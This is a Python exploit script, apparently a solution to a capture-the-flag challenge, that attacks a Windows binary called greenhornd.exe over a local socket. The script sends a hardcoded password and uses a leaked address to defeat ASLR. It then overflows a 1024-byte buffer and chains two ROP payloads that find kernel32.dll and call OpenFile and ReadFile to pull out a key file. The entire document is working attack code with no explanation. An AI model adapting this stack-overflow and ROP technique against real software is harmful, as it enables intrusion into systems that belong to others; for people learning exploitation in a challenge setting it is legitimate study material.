from pwintools import *

p_local = Process('./greenhornd.exe')  # for easy offset finding

symcache = p_local.symbols
VirtualAlloc_k32_ofs = symcache['kernel32.dll']['VirtualAlloc'] - p_local.libs['kernel32.dll']
OpenFile_k32_ofs = symcache['kernel32.dll']['OpenFile'] - p_local.libs['kernel32.dll']
ReadFile_k32_ofs = symcache['kernel32.dll']['ReadFile'] - p_local.libs['kernel32.dll']
# This will differ for different kernel32.dll
writer_k32_ofs = 0x6b82821b - 0x6b800000  # 0x6b82821b : mov dword ptr [ecx], eax ; pop ebp ; ret 8
pop_ecx_k32_ofs = 0x6b83127d - 0x6b800000  # 0x6b83127d : pop ecx ; ret

DEBUG = False
if DEBUG:
    p = p_local
    #p.spawn_debugger(breakin=False)
else:
    p = Remote('127.0.0.1', 9998)

def menu(p, sel):
    p.recvuntil('Selection: ')
    p.sendline(sel)

def do_aslr(p):
    menu(p, 'a')
    p.recvuntil('so your ASLR slide is: ')
    exe_base = int(p.recvuntil(' ', True), 16)
    p.recvuntil('and the slide variable is stored at: ')
    stack_leak = int(p.recvuntil('.\n\n', True), 16)
    return exe_base, stack_leak

def do_vuln(p, payload):
    menu(p, 'v')
    p.recvuntil('Send me exactly 1024 characters (with some constraints).\n\n')
    p.send(payload)

p.recvuntil('Password: ')
p.sendline('GreenhornSecretPassword!!!')

exe_base, ebp = do_aslr(p)
ebp += 8
exe_base += 0x400000
log.info('exe base: 0x{:08x}'.format(exe_base))
log.info('ebp @ do_aslr & do_vuln: 0x{:08x}'.format(ebp))

buf = exe_base + 0x40a0
buf2 = exe_base + 0x4168
write = exe_base + 0x1460
read = exe_base + 0x1590
VirtualAlloc_idata = exe_base + 0x2000
ppr = exe_base + 0x1C54
ret = exe_base + 0x1C56
exiter = exe_base + 0x128F

# ROP chain #1
payload  = 'CSAW'.ljust(0x400, 'A') + 'OEBP'
payload += p32(write) + p32(ppr) + p32(VirtualAlloc_idata) + p32(4)
payload += p32(read) + p32(ppr) + p32(buf) + p32(4)
payload += p32(read) + p32(ppr) + p32(ebp + 0x34) + p32(0x300)
# this part overwritten by read
payload  = payload.ljust(0x800, 'B')

do_vuln(p, payload)

VirtualAlloc_k32 = u32(p.recv(4))
k32_base = VirtualAlloc_k32 - VirtualAlloc_k32_ofs
assert(k32_base & 0xffff == 0)
log.info('kernel32.dll base: 0x{:08x}'.format(k32_base))

p.send('key\0')

# ROP chain #2 (evil mixture of cdecl & stdcall & ROP gadget)
payload  = ""
# stdcall pops arguments for you, so just chain the next gadget immediately w/o pop-ret
payload += p32(OpenFile_k32_ofs + k32_base) + p32(pop_ecx_k32_ofs + k32_base) + (p32(buf) + p32(buf + 0x4) + p32(0x00000000)) + (p32(ebp + 0x64))  # targets ecx to "_EAX"
payload += p32(writer_k32_ofs + k32_base) + p32(0)  # ret 8 pops p32(0)*2 at below payload
payload += p32(ReadFile_k32_ofs + k32_base) + p32(0)*2 + p32(write) + ("_EAX" + p32(buf2) + p32(0x100) + p32(buf) + p32(0)) + (p32(exiter) + p32(buf2) + p32(0x100))  # just assume we read all
payload  = payload.ljust(0x300, 'C')
p.send(payload)

print(p.recvuntil('}'))